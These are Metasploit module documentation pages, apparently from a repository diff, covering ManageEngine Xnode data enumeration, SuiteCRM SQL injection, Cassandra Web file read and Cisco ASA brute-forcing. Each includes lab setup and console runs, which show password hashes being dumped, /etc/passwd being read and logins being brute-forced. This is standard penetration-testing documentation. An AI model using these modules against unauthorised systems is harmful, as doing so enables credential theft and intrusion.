It is also possible to use the `DUMP_ALL` option to obtain all data in all known data repositories without specifying data field names.
|
||||
However, note when using this option the data won't be labeled.
|
||||
|
||||
This module has been successfully tested against DataSecurity Plus 6.0.1 (6010) running on Windows Server 2012 R2.
|
||||
|
||||
## Installation Information
|
||||
Vulnerable versions of DataSecurity Plus are available [here](https://archives.manageengine.com/data-security/).
|
||||
All versions from 6000 through 6011 are configured with default Xnode credentials. Note that testing against
|
||||
vulnerable versions from the archives will make data enumeration impossible because the free trials for those
|
||||
versions do not seem to allow ADAudit Plus to actually start collecting data that can then be accessed via Xnode.
|
||||
|
||||
However, apart from some configuration changes, Xnode functions the same way on patched versions as it does on vulnerable versions,
|
||||
so it is possible to test the modules against patched versions as long as the correct credentials are provided.
|
||||
|
||||
A free 30-day trial of DataSecurity Plus can be downloaded [here](https://www.manageengine.com/data-security/download.html).
|
||||
To install, just run the .exe and follow the instructions.
|
||||
|
||||
In order to configure a patched ManageEngine DataSecurity Plus instance for testing, follow these steps:
|
||||
- Open the Xnode config file at `<install_dir>\apps\dataengine-xnode\conf\dataengine-xnode.conf`
|
||||
- Note down the username and password
|
||||
- Insert the following line:
|
||||
```
|
||||
xnode.connector.accept_remote_request = true
|
||||
```
|
||||
To launch DataSecurity Plus, run Command Prompt as administrator and run: `<install_dir>\bin\run.bat`
|
||||
|
||||
## Verification Steps
|
||||
1. Start msfconsole
|
||||
2. Do: `use auxiliary/gather/manageengine_datasecurity_plus_xnode_enum`
|
||||
3. Do: `set RHOSTS [IP]`
|
||||
4. Do: `run`
|
||||
|
||||
## Options
|
||||
### CONFIG_FILE
|
||||
YAML File specifying the data repositories (tables) and fields (columns) to dump.
|
||||
|
||||
### DUMP_ALL
|
||||
Dump all data from the available data repositories (tables). If true, CONFIG_FILE will be ignored.
|
||||
|
||||
## Scenarios
|
||||
### ManageEngine DataSecurity Plus 6.0.1 (6010) on Windows Server 2012
|
||||
```
|
||||
msf6 auxiliary(gather/manageengine_datasecurity_plus_xnode_enum) > options
|
||||
|
||||
Module options (auxiliary/gather/manageengine_datasecurity_plus_xnode_enum):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
CONFIG_FILE /home/wynter/dev/metasploit-framework/data/exploits/manageeng no YAML file specifying the data repositories (tables) and fields (columns) to dump
|
||||
ine_xnode/CVE-2020-11532/datasecurity_plus_xnode_conf.yaml
|
||||
DUMP_ALL false no Dump all data from the available data repositories (tables). If true, CONFIG_FILE will be ignored.
|
||||
PASSWORD chegan yes Password used to authenticate to the Xnode server
|
||||
RHOSTS 192.168.1.41 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
|
||||
RPORT 29119 yes The target port (TCP)
|
||||
USERNAME atom yes Username used to authenticate to the Xnode server
|
||||
|
||||
msf6 auxiliary(gather/manageengine_datasecurity_plus_xnode_enum) > run
|
||||
[*] Running module against 192.168.1.41
|
||||
|
||||
[*] 192.168.1.41:29119 - Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] 192.168.1.41:29119 - Target seems to be Xnode.
|
||||
[+] 192.168.1.41:29119 - The target appears to be vulnerable. Successfully authenticated to the Xnode server.
|
||||
[*] 192.168.1.41:29119 - Obtained expected Xnode "de_healh" status: "GREEN".
|
||||
[*] 192.168.1.41:29119 - Target is running Xnode version: "XNODE_1_0_0".
|
||||
[*] 192.168.1.41:29119 - Obtained Xnode installation path: "C:\Program Files (x86)\ManageEngine\DataSecurity Plus\apps\dataengine-xnode".
|
||||
[*] 192.168.1.41:29119 - Data repository DSPEmailAuditAttachments is empty.
|
||||
[*] 192.168.1.41:29119 - Data repository DSPEmailAuditReport is empty.
|
||||
[*] 192.168.1.41:29119 - Data repository DSPEndpointAuditReport is empty.
|
||||
[*] 192.168.1.41:29119 - Data repository DSPEndpointClassificationReport is empty.
|
||||
[*] 192.168.1.41:29119 - Data repository DSPEndpointIncidentReport is empty.
|
||||
[*] 192.168.1.41:29119 - Data repository DspEndpointPrinterAuditReport is empty.
|
||||
[*] 192.168.1.41:29119 - Data repository DspEndpointWebAuditReport is empty.
|
||||
[*] 192.168.1.41:29119 - Data repository DSPFileAnalysisAlerts is empty.
|
||||
[*] 192.168.1.41:29119 - Data repository RAAlertHistory is empty.
|
||||
[*] 192.168.1.41:29119 - Data repository RAIncidents is empty.
|
||||
[*] 192.168.1.41:29119 - Data repository RAViolationRecords is empty.
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,195 @@
|
||||
## Description
|
||||
This module exploits an authenticated SQL injection in SuiteCRM installations below or equal to version 7.12.5. The
|
||||
vulnerability allows for union and blind boolean based SQLi to be exploited in order to collect usernames and password
|
||||
hashes from the SuiteCRM database.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
The SQLi exploited by this module depends on the existence of at least one 'Account' being registered in SuiteCRM.
|
||||
There should be one in SuiteCRM by default for the administrative user. If you want to test multiple users,
|
||||
browse to `/index.php?module=Users&action=index` and then click the `Create New User` button on the left side
|
||||
of the screen. Then enter a username and a last name. Then click the `password` tab, and enter a password for
|
||||
the user, then confirm this password and click the `Save` button to create the user.
|
||||
|
||||
### Docker compose
|
||||
|
||||
**Prerequisites:** [Docker](https://docs.docker.com/get-docker/) and
|
||||
[Docker Compose](https://docs.docker.com/compose/install/) must be
|
||||
installed first.
|
||||
|
||||
To create a SuiteCRM 7.12.5 Docker container, first create a new folder,
|
||||
then save the following content as `docker-compose.yml`:
|
||||
|
||||
```
|
||||
version: '2'
|
||||
services:
|
||||
mariadb:
|
||||
image: docker.io/bitnami/mariadb:10.6
|
||||
environment:
|
||||
# ALLOW_EMPTY_PASSWORD is recommended only for development.
|
||||
- ALLOW_EMPTY_PASSWORD=yes
|
||||
- MARIADB_USER=bn_suitecrm
|
||||
- MARIADB_DATABASE=bitnami_suitecrm
|
||||
- MARIADB_PASSWORD=bitnami123
|
||||
volumes:
|
||||
- 'mariadb_data:/bitnami/mariadb'
|
||||
suitecrm:
|
||||
image: docker.io/bitnami/suitecrm:7.12.5
|
||||
ports:
|
||||
- '80:8080'
|
||||
- '443:8443'
|
||||
environment:
|
||||
- SUITECRM_DATABASE_HOST=mariadb
|
||||
- SUITECRM_DATABASE_PORT_NUMBER=3306
|
||||
- SUITECRM_DATABASE_USER=bn_suitecrm
|
||||
- SUITECRM_DATABASE_NAME=bitnami_suitecrm
|
||||
- SUITECRM_DATABASE_PASSWORD=bitnami123
|
||||
# ALLOW_EMPTY_PASSWORD is recommended only for development.
|
||||
- ALLOW_EMPTY_PASSWORD=yes
|
||||
volumes:
|
||||
- 'suitecrm_data:/bitnami/suitecrm'
|
||||
depends_on:
|
||||
- mariadb
|
||||
volumes:
|
||||
mariadb_data:
|
||||
driver: local
|
||||
suitecrm_data:
|
||||
driver: local
|
||||
```
|
||||
|
||||
Finally, in the same directory as the `docker-compose.yml` file, run: `docker-compose up -d`.
|
||||
|
||||
Note that the default username to log in will be `user` and the password will be `bitnami`. If you
|
||||
want to change these, put the following lines under the `environment` section:
|
||||
|
||||
```
|
||||
environment:
|
||||
- SUITECRM_USERNAME=my_user
|
||||
- SUITECRM_PASSWORD=my_password
|
||||
```
|
||||
|
||||
The above would set the username to `my_user` and the password to `my_password`.
|
||||
|
||||
For more information on the docker compose file, refer to
|
||||
https://github.com/bitnami/containers/tree/main/bitnami/suitecrm.
|
||||
|
||||
### Install from source
|
||||
|
||||
Source code can be found here: [SuiteCRM v7.12.5](https://github.com/salesagility/SuiteCRM/archive/refs/tags/v7.12.5.tar.gz)
|
||||
|
||||
Instructions on installing from source can be found here: [Installation Guide](https://docs.suitecrm.com/admin/installation-guide/downloading-installing/)
|
||||
|
||||
The following setup was installed on Ubuntu 20.04:
|
||||
|
||||
1. Setup and install MySQL:
|
||||
1. `sudo apt update`
|
||||
1. `sudo apt install mysql-server`
|
||||
1. `sudo systemctl start mysql.service`
|
||||
1. `sudo mysql` (open the mysql prompt)
|
||||
1. `mysql> ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY 'password';` (change the password
|
||||
of the root user)
|
||||
|
||||
1. Install Apache
|
||||
1. `sudo apt install apache2`
|
||||
1. `sudo systemctl enable apache2`
|
||||
1. `sudo systemctl start apache2`
|
||||
|
||||
1. Install php and its dependencies
|
||||
1. `sudo apt -y install php7.4`
|
||||
1. `sudo apt install -y php-cli php-common php-curl php-mbstring php-gd php-mysql php-soap php-xml php-imap php-intl php-opcache php-json php-zip`
|
||||
1. `sudo apt install composer`
|
||||
1. `composer install`
|
||||
|
||||
1. Setup and install SuiteCRM 7.12.5
|
||||
1. `wget https://github.com/salesagility/SuiteCRM/archive/refs/tags/v7.12.5.tar.gz`
|
||||
1. `gunzip v7.12.5.tar.gz`
|
||||
1. `tar -xvf v7.12.5.tar`
|
||||
1. `sudo cp -r SuiteCRM-7.12.5/. /var/www/html`
|
||||
1. `cd /var/www/html`
|
||||
1. `sudo chown -R www-data:www-data .`
|
||||
1. `sudo chmod -R 755 .`
|
||||
1. `sudo chmod -R 775 custom modules themes data upload`
|
||||
1. `sudo chmod 775 config_override.php 2>/dev/null`
|
||||
1. Navigate to http://localhost/install.php and follow the installation wizard to complete the install
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start up metasploit
|
||||
1. Do: `use auxiliary/gather/suite_crm_export_sqli`
|
||||
1. Do: `set RHOSTS [IP]`
|
||||
1. Configure a user and password by setting `USERNAME` and `PASSWORD`.
|
||||
1. Do: `run`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### SuiteCRM 7.12.5 Bitnami Docker Image
|
||||
```
|
||||
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use auxiliary/gather/suite_crm_export_sqli
|
||||
msf6 auxiliary(gather/suite_crm_export_sqli) > show options
|
||||
|
||||
Module options (auxiliary/gather/suite_crm_export_sqli):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
COUNT 3 no Number of users to enumerate
|
||||
PASSWORD yes Password for user
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasp
|
||||
loit
|
||||
RPORT 80 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
USERNAME yes Username of user
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Auxiliary action:
|
||||
|
||||
Name Description
|
||||
---- -----------
|
||||
Dump credentials Dumps usernames and passwords from the users table
|
||||
|
||||
|
||||
msf6 auxiliary(gather/suite_crm_export_sqli) > set USERNAME user
|
||||
USERNAME => user
|
||||
msf6 auxiliary(gather/suite_crm_export_sqli) > set PASSWORD bitnami
|
||||
PASSWORD => bitnami
|
||||
msf6 auxiliary(gather/suite_crm_export_sqli) > set RHOSTS 127.0.0.1
|
||||
RHOSTS => 127.0.0.1
|
||||
msf6 auxiliary(gather/suite_crm_export_sqli) > check
|
||||
|
||||
[*] Authenticating as user
|
||||
[+] Authenticated as: user
|
||||
[*] Version detected: 7.12.5
|
||||
[+] 127.0.0.1:80 - The target is vulnerable.
|
||||
msf6 auxiliary(gather/suite_crm_export_sqli) > run
|
||||
[*] Running module against 127.0.0.1
|
||||
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Authenticating as user
|
||||
[+] Authenticated as: user
|
||||
[*] Version detected: 7.12.5
|
||||
[+] The target is vulnerable.
|
||||
[*] Fetching Users, please wait...
|
||||
SuiteCRM User Names
|
||||
===================
|
||||
|
||||
Username
|
||||
--------
|
||||
testuser
|
||||
user
|
||||
|
||||
[*] Fetching Hashes, please wait...
|
||||
[+] (1/2) Username : testuser ; Hash : $2y$10$YFr9.QNPVDXoLKv5FQo7d.UIRBSMTnPGDS2LLHsuGSojAA2Q5kELa
|
||||
[+] (2/2) Username : user ; Hash : $2y$10$O83wcCVEfY7GKo//dbQwwOFOevfLFnhpP4d9n98HmGM2YPxJZqMhO
|
||||
SuiteCRM User Credentials
|
||||
=========================
|
||||
|
||||
Username Hash
|
||||
-------- ----
|
||||
testuser $2y$10$YFr9.QNPVDXoLKv5FQo7d.UIRBSMTnPGDS2LLHsuGSojAA2Q5kELa
|
||||
user $2y$10$O83wcCVEfY7GKo//dbQwwOFOevfLFnhpP4d9n98HmGM2YPxJZqMhO
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(gather/suite_crm_export_sqli) >
|
||||
```
|
||||
@@ -0,0 +1,100 @@
|
||||
## Vulnerable Application
|
||||
[Cassandra Web](https://rubygems.org/gems/cassandra-web) is an interface for Apache Cassandra using Ruby, Event-machine, AngularJS,
|
||||
Server-Sent-Events and DataStaxRuby driver for Apache Cassandra.
|
||||
|
||||
This module has been tested successfully on Cassandra Web versions:
|
||||
* cassandra-web-0.5.0 on Debian 10.11 (buster) with ruby 2.5.5p157 and Apache Cassandra 3.11.13
|
||||
|
||||
### Description
|
||||
|
||||
This module exploits an unauthenticated directory traversal vulnerability in Cassandra Web
|
||||
'Cassandra Web' version 0.5.0 and earlier, allowing arbitrary file read with the web server privileges.
|
||||
This vulnerability occured due to the disabled Rack::Protection module.
|
||||
|
||||
This web service listens on TCP port 3000 by default on all network interface.
|
||||
|
||||
Source and Installers:
|
||||
* [Source Code Repository](https://github.com/avalanche123/cassandra-web)
|
||||
* [Installers](https://rubygems.org/gems/cassandra-web)
|
||||
|
||||
Ruby installation:
|
||||
```
|
||||
apt install ruby-full -y
|
||||
```
|
||||
|
||||
Gem installation:
|
||||
```
|
||||
gem install cassandra-web
|
||||
```
|
||||
|
||||
Apache Cassandra Installation:
|
||||
```
|
||||
cat << EOF > /etc/apt/sources.list.d/cassandra.list
|
||||
deb https://www.apache.org/dist/cassandra/debian 311x main
|
||||
EOF
|
||||
cat << EOF > /etc/apt/sources.list.d/adoptopenjdk.list
|
||||
deb https://adoptopenjdk.jfrog.io/adoptopenjdk/deb/ buster main
|
||||
EOF
|
||||
wget -q -O - https://www.apache.org/dist/cassandra/KEYS | apt-key add -
|
||||
wget -qO - https://adoptopenjdk.jfrog.io/adoptopenjdk/api/gpg/key/public | apt-key add -
|
||||
apt update && apt install adoptopenjdk-8-hotspot cassandra -y
|
||||
```
|
||||
|
||||
Run Cassandra Web:
|
||||
```
|
||||
cassandra-web
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
1. Do: `use auxiliary/scanner/http/cassandra_web_file_read.rb`
|
||||
2. Do: `set RHOSTS [ips]`
|
||||
3. Do: `run`
|
||||
|
||||
## Options
|
||||
|
||||
## Scenarios
|
||||
### Cassandra Web 0.5.0 Linux Debian 10.11 (Ruby 2.5.5p157 and Apache Cassandra 3.11.13)
|
||||
```
|
||||
msf6 > use auxiliary/scanner/http/cassandra_web_file_read
|
||||
msf6 auxiliary(scanner/http/cassandra_web_file_read) > set RHOSTS 192.168.56.1
|
||||
RHOSTS => 192.168.56.1
|
||||
msf6 auxiliary(scanner/http/cassandra_web_file_read) > run
|
||||
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Cassandra Web Detected
|
||||
[*] Downloading file...
|
||||
|
||||
root:x:0:0:root:/root:/bin/bash
|
||||
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
||||
bin:x:2:2:bin:/bin:/usr/sbin/nologin
|
||||
sys:x:3:3:sys:/dev:/usr/sbin/nologin
|
||||
sync:x:4:65534:sync:/bin:/bin/sync
|
||||
games:x:5:60:games:/usr/games:/usr/sbin/nologin
|
||||
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
|
||||
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
|
||||
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
|
||||
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
|
||||
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
|
||||
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
|
||||
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
|
||||
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
|
||||
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
|
||||
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
|
||||
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
|
||||
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
|
||||
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
|
||||
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
|
||||
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
|
||||
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
|
||||
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
|
||||
avahi-autoipd:x:105:112:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
|
||||
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
|
||||
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
|
||||
ntp:x:107:115::/nonexistent:/usr/sbin/nologin
|
||||
cassandra:x:108:116:Cassandra database,,,:/var/lib/cassandra:/usr/sbin/nologin
|
||||
|
||||
|
||||
[+] File saved in: /home/git/.msf4/loot/20220802185716_default_192.168.56.1_cassandra.web.tr_160962.txt
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,132 @@
|
||||
## Vulnerable Application
|
||||
|
||||
### Description
|
||||
|
||||
This module scans for the Cisco ASA ASDM landing page and performs login brute-force
|
||||
to identify valid credentials.
|
||||
|
||||
### Installation
|
||||
|
||||
Acquire a Cisco ASA device or virtual machine. For this description we will use
|
||||
Cisco Adaptive Security Virtual Appliance (ASAv) VMWare Package 9.18.1 (asav9-18-1.zip):
|
||||
|
||||
* https://software.cisco.com/download/home/286119613/type/280775065/release/9.18.1
|
||||
|
||||
The [official installation guide can be found here](https://www.cisco.com/c/en/us/td/docs/security/asa/asa98/asav/quick-start-book/asav-98-qsg/asav-vmware.html)
|
||||
But for completeness, the following will guide the user to a full testing configuration.
|
||||
To start we'll make ASDM remotely accessible:
|
||||
|
||||
1. Unzip the package
|
||||
1. Import `asav-esxi.ovf` in VMWare Fusion (or your VMWare product of choice).
|
||||
1. Select the `ASAv5 - 1 Core / 2 GB (100 Mbps)` deployment option.
|
||||
1. After the import is complete, assign `Network Adapter` (1 is implied) the desired
|
||||
interface (e.g. I'll use `Wi-Fi` for my setup).
|
||||
1. Start the virtual machine
|
||||
1. Allow GRUB to boot the first option (this should happen twice)
|
||||
1. When provided with a command prompt (`ciscoasa>`) type `en`.
|
||||
1. Set an enable password (e.g. `labpass1`)
|
||||
1. Enter the following in the command line interface:
|
||||
1. `conf t`
|
||||
1. `No`
|
||||
1. `interface GigabitEthernet 0/0`
|
||||
1. `nameif outside`
|
||||
1. Assign a static ip address (note the assigned address should make sense within the
|
||||
context of you lab. For example, my lab network is 10.9.49.0/24): `ip address 10.9.49.201 255.255.255.0`
|
||||
1. `no shutdown`
|
||||
1. `exit`
|
||||
1. Set the default route (the last IP should point to your lab router): `route outside 0.0.0.0 0.0.0.0 10.9.49.1`
|
||||
1. Verify you can ping an outside host (e.g. `ping 8.8.8.8`)
|
||||
1. `http server enable`
|
||||
1. `http 0.0.0.0 0.0.0.0 outside`
|
||||
1. `write`
|
||||
1. `exit`
|
||||
|
||||
You should now be able to reach the ASA's web server remotely. From a remote host, execute the following `curl`
|
||||
command to the ASA to verify as much:
|
||||
|
||||
```
|
||||
albinolobster@ubuntu:~$ curl -kv https://10.9.49.201
|
||||
* Trying 10.9.49.201:443...
|
||||
* TCP_NODELAY set
|
||||
...
|
||||
> GET / HTTP/1.1`
|
||||
> Host: 10.9.49.201
|
||||
> User-Agent: curl/7.68.0
|
||||
> Accept: */*
|
||||
>
|
||||
* Mark bundle as not supporting multiuse
|
||||
< HTTP/1.1 301 Moved Permanently
|
||||
< Date: Tue, 21 Jun 2022 13:52:33 UTC
|
||||
< Strict-Transport-Security: max-age=31536000
|
||||
< X-XSS-Protection: 1
|
||||
< Connection: close
|
||||
< Location: /admin/public/index.html
|
||||
<
|
||||
* Closing connection 0
|
||||
* TLSv1.2 (OUT), TLS alert, close notify (256):
|
||||
```
|
||||
|
||||
You should now be able to test the credentials `<Blank>:labpass1` and `enable_15:labpass1`. To
|
||||
add additional users to test with, let's use ASDM from a Windows machine:
|
||||
|
||||
1. Connect to your ASA's web interface (e.g. `https://10.9.49.201/admin/public/index.html`).
|
||||
1. Click "Install ASDM Launcher"
|
||||
1. Enter creds `blank`:labpass1 (where blank is nothing and labpass1 is your enable password)
|
||||
1. Install the downloaded `dm-launcher.msi` (before 7.18.1 it will be unsigned)
|
||||
1. If Java isn't installed, install Java 1.8 (current at time of writing is 8 Update 333): https://www.java.com/en/download/
|
||||
1. Start the ASDM Launcher via `C:\Program Files (x86)\Cisco Systems\ASDM\run.bat`
|
||||
1. Enter your ASAv's IP address (10.9.249.201)
|
||||
1. Enter a blank username
|
||||
1. Enter the enable password (`labpass1`)
|
||||
1. Go to `Configuration -> Device Management -> Users/AAA -> User Accounts`
|
||||
1. Click `Add`
|
||||
1. Set the username to `cisco`
|
||||
1. Set the password to `cisco123`
|
||||
1. Keep the default settings for `Access Restrictions` (Full access with privilege level of 2).
|
||||
1. Hit `OK`
|
||||
1. Hit `Apply`
|
||||
|
||||
You should now be able to log in to the ASDM using `cisco`:`cisco123`.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
* Follow the above instructions to configure ASAv, ASDM, and add the `cisco` user for testing
|
||||
* Do: `use auxiliary/scanner/http/cisco_asa_asdm_bruteforce`
|
||||
* Do: `set RHOST <ip>`
|
||||
* Do: `set VERBOSE false`
|
||||
* Do: `run`
|
||||
* You should see output indicating `cisco:cisco123` was successfully used for login.
|
||||
|
||||
## Options
|
||||
|
||||
### USERPASS_FILE
|
||||
|
||||
File containing users and passwords separated by space, one pair per line.
|
||||
|
||||
### USER_FILE
|
||||
|
||||
File containing users, one per line.
|
||||
|
||||
### PASS_FILE
|
||||
|
||||
File containing passwords, one per line
|
||||
|
||||
## Scenarios
|
||||
|
||||
### ASAv 9.18.1 with ASDM enabled and the `cisco:cisco123` creds set.
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/scanner/http/cisco_asa_asdm_bruteforce
|
||||
msf6 auxiliary(scanner/http/cisco_asa_asdm_bruteforce) > set RHOST 10.9.49.201
|
||||
RHOST => 10.9.49.201
|
||||
msf6 auxiliary(scanner/http/cisco_asa_asdm_bruteforce) > set VERBOSE false
|
||||
VERBOSE => false
|
||||
msf6 auxiliary(scanner/http/cisco_asa_asdm_bruteforce) > run
|
||||
|
||||
[*] The remote target appears to host Cisco ASA ASDM. The module will continue.
|
||||
[*] Starting login brute force...
|
||||
[+] SUCCESSFUL LOGIN - "cisco":"cisco123"
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(scanner/http/cisco_asa_asdm_bruteforce) >
|
||||
```
|
||||
@@ -0,0 +1,196 @@
|
||||
## Vulnerable Application
|
||||
|
||||
### Description
|
||||
|
||||
This module scans for Cisco ASA Clientless SSL VPN (WebVPN) web login portals and
|
||||
performs login brute-force to identify valid credentials.
|
||||
|
||||
### Installation
|
||||
|
||||
Acquire a Cisco ASA device or virtual machine. For this description we will use
|
||||
Cisco Adaptive Security Virtual Appliance (ASAv) VMWare Package 9.18.1 (asav9-18-1.zip):
|
||||
|
||||
* https://software.cisco.com/download/home/286119613/type/280775065/release/9.18.1
|
||||
|
||||
The [official installation guide can be found here](https://www.cisco.com/c/en/us/td/docs/security/asa/asa98/asav/quick-start-book/asav-98-qsg/asav-vmware.html)
|
||||
But for completeness, the following will guide the user to a full testing configuration.
|
||||
To start we'll make ASDM remotely accessible:
|
||||
|
||||
1. Unzip the package
|
||||
1. Import `asav-esxi.ovf` in VMWare Fusion (or your VMWare product of choice).
|
||||
1. Select the `ASAv5 - 1 Core / 2 GB (100 Mbps)` deployment option.
|
||||
1. After the import is complete assign `Network Adapter` (1 is implied) the desired
|
||||
interface (e.g. I'll use `Wi-Fi` for my setup).
|
||||
1. Start the virtual machine
|
||||
1. Allow GRUB to boot the first option (this should happen twice)
|
||||
1. When provided with a command prompt (`ciscoasa>`) type `en`.
|
||||
1. Set an enable password (e.g. `labpass1`)
|
||||
1. Enter the following in the command line interface:
|
||||
1. `conf t`
|
||||
1. `No`
|
||||
1. `interface GigabitEthernet 0/0`
|
||||
1. `nameif outside`
|
||||
1. Assign a static ip address (note the assigned address should make sense within the
|
||||
context of you lab. For example, my lab network is 10.9.49.0/24): `ip address 10.9.49.201 255.255.255.0`
|
||||
1. `no shutdown`
|
||||
1. `exit`
|
||||
1. Set the default route (the last IP should point to your lab router): `route outside 0.0.0.0 0.0.0.0 10.9.49.1`
|
||||
1. Verify you can ping an outside host (e.g. `ping 8.8.8.8`)
|
||||
1. `http server enable`
|
||||
1. `http 0.0.0.0 0.0.0.0 outside`
|
||||
1. `write`
|
||||
1. `exit`
|
||||
|
||||
You should now be able to reach the ASA's web server remotely. From a remote host, execute the following `curl`
|
||||
command to the ASA to verify as much:
|
||||
|
||||
```
|
||||
albinolobster@ubuntu:~$ curl -kv https://10.9.49.201
|
||||
* Trying 10.9.49.201:443...
|
||||
* TCP_NODELAY set
|
||||
...
|
||||
> GET / HTTP/1.1`
|
||||
> Host: 10.9.49.201
|
||||
> User-Agent: curl/7.68.0
|
||||
> Accept: */*
|
||||
>
|
||||
* Mark bundle as not supporting multiuse
|
||||
< HTTP/1.1 301 Moved Permanently
|
||||
< Date: Tue, 21 Jun 2022 13:52:33 UTC
|
||||
< Strict-Transport-Security: max-age=31536000
|
||||
< X-XSS-Protection: 1
|
||||
< Connection: close
|
||||
< Location: /admin/public/index.html
|
||||
<
|
||||
* Closing connection 0
|
||||
* TLSv1.2 (OUT), TLS alert, close notify (256):
|
||||
```
|
||||
|
||||
The next part of the installation will require a Windows machine. From your Windows machine:
|
||||
|
||||
1. Connect to your ASA's web interface (e.g. `https://10.9.49.201/admin/public/index.html`).
|
||||
1. Click "Install ASDM Launcher"
|
||||
1. Enter creds `blank`:labpass1 (where blank is nothing and labpass1 is your enable password)
|
||||
1. Install the downloaded `dm-launcher.msi` (before 7.18.1 it will be unsigned)
|
||||
1. If Java isn't installed, intall Java 1.8 (current at time of writing is 8 Update 333): https://www.java.com/en/download/
|
||||
1. Start the ASDM Launcher via `C:\Program Files (x86)\Cisco Systems\ASDM\run.bat`
|
||||
1. Enter your ASAv's IP address (10.9.249.201)
|
||||
1. Enter a blank username
|
||||
1. Enter the enable password (`labpass1`)
|
||||
|
||||
Now to enable the webvpn interface from ASDM:
|
||||
|
||||
1. Go to `Configuration -> Remote Access VPN -> Clientless SSL VPN Access -> Connection Profiles`
|
||||
1. In the `Access Interfaces` view, click the radio button to `Allow Access` from the `outside` interface
|
||||
1. Hit apply
|
||||
|
||||
Verify that the Clientless SSL VPN is now enabled by navigating to the SSL VPN login on your ASA. For example,
|
||||
navigate to `https://10.9.49.201/+CSCOE+/logon.html`.
|
||||
|
||||
Next, we'll create a Clientless SSL VPN user for brute-force testing. From ASDM:
|
||||
|
||||
1. Go to `Configuration -> Device Management -> Users/AAA -> User Accounts`
|
||||
1. Click `Add`
|
||||
1. Keep the default username (`user1`)
|
||||
1. Enter and confirm a password (e.g. `user1`)
|
||||
1. Set the privilege level to 0 (I'm not sure this step is actually required but)
|
||||
1. Select the `No ASDM, SSH, Telnet, or Console access` radio
|
||||
1. Hit `OK`
|
||||
1. Hit `Apply`
|
||||
|
||||
Finally, we'll enable logging into the SSL VPN portal:
|
||||
|
||||
1. Go to `Configuration -> Device Management -> Users/AAA -> Dynamic Access Policies`
|
||||
1. Select the `DfltAccessPolicy` and click `Edit`
|
||||
1. Select `Access Method` tab
|
||||
1. Click on the `Web-Portal` radio button
|
||||
|
||||
You should now be able to log in to the SSL VPN web portal using `user1`:`user1`.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
* Follow the above instructions to configure ASAv, Clientless SSL VPN, and add a user for testing
|
||||
* Add the user to `data/wordlists/http_default_userpass.txt` as `user1 user1`
|
||||
* Do: `use auxiliary/scanner/http/cisco_asa_clientless_vpn`
|
||||
* Do: `set RHOST <ip>`
|
||||
* Do: `set VERBOSE false`
|
||||
* Do: `run`
|
||||
* You should see output indicating `user1:user1` was successfully used for login.
|
||||
|
||||
## Options
|
||||
|
||||
### GROUP
|
||||
|
||||
The connection profile to use. By default this is blank, but administrators can configure various different
|
||||
profiles that users can select from the drop down menu at the top of the login page. The alias in the drop
|
||||
down is *not* the value of `GROUP`. You need to extract it from the HTML.
|
||||
|
||||
For example, my administrator has a profile named `TunnelGroup1` using the alias `alias1`. The drop down menu
|
||||
will show `alias1` but `TunnelGroup1` is the required value. In the page's HTML you'll find:
|
||||
|
||||
```
|
||||
<option value="TunnelGroup1" selected>alias1</option>
|
||||
```
|
||||
|
||||
To use `TunnelGroup1` you'd `set GROUP TunnelGroup1`.
|
||||
|
||||
### USERPASS_FILE
|
||||
|
||||
File containing users and passwords separated by space, one pair per line.
|
||||
|
||||
### USER_FILE
|
||||
|
||||
File containing users, one per line.
|
||||
|
||||
### PASS_FILE
|
||||
|
||||
File containing passwords, one per line
|
||||
|
||||
## Scenarios
|
||||
|
||||
